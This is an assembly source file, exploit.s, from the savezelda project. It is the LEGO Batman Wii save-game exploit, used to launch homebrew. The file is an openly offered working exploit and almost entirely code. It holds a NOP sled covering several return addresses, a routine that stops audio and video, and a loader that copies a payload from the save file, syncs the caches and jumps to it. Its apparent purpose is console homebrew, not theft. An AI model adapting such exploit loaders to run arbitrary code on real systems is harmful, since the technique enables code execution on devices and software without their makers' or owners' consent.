LEGO Batman^H^H^Hhaxx
[savezelda.git] / batman / exploit.s
1 # Copyright 2008-2009  Segher Boessenkool  <segher@kernel.crashing.org>
2 # Copyright      2011  Bernhard Urban <lewurm@gmail.com>
3 # This code is licensed to you under the terms of the GNU GPL, version 2;
4 # see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
5
6         .section .start,"ax"
7         retadr = 0x90394140
8
9         # The return addr for the nintendo loader is a bit different as for 3rd
10         # party loaders. In fact, it depends which value is set by the apploader at
11         # 0x8000002c:
12         #  -  0x0: return address is 0x90394140 (some 3rd party loader, e.g. gecko os)
13         #  - 0x23: return address is 0x90394000 (set by the sysmenu loader by nintendo)
14         #  0B ver:                   0x90394100
15         # to make both work, we insert some no op's here
16         .fill (0x140/0x4), 4, 0x60000000
17
18 start:
19         # Set up a stack frame.
20         lis 1,0x8080 ; li 0,0 ; stwu 0,-64(1)
21
22         # Stop audio and video.
23         lis 0,audio_stop@h ; ori 0,0,audio_stop@l ; mtctr 0 ; bctrl
24         lis 0,video_stop@h ; ori 0,0,video_stop@l ; mtctr 0 ; bctrl
25
26         # Move code into place; a generous 32kB, starting at 64kB in
27         # the save file.
28
29         lis 3,main@h ; ori 3,3,main@l ; addi 5,3,-4
30         lis 4,(retadr-4)@h ; ori 4,4,(retadr-4)@l
31         # Calculate proper offset for the loader in memory
32 0:      lbzu 0,4(4); cmpwi 0,0x60 ; beq 0b
33         addi 4,4,-4; addi 4,4,end-start
34
35         li 0,0x2000 ; mtctr 0
36 0:      lwzu 0,4(4) ; stwu 0,4(5) ; bdnz 0b
37
38         # Sync caches on it.
39         li 0,0x0400 ; mtctr 0 ; mr 5,3
40 0:      dcbst 0,5 ; sync ; icbi 0,5 ; addi 5,5,0x20 ; bdnz 0b
41         sync ; isync
42
43         # Go for it!
44         mtctr 3 ; bctr
45 end: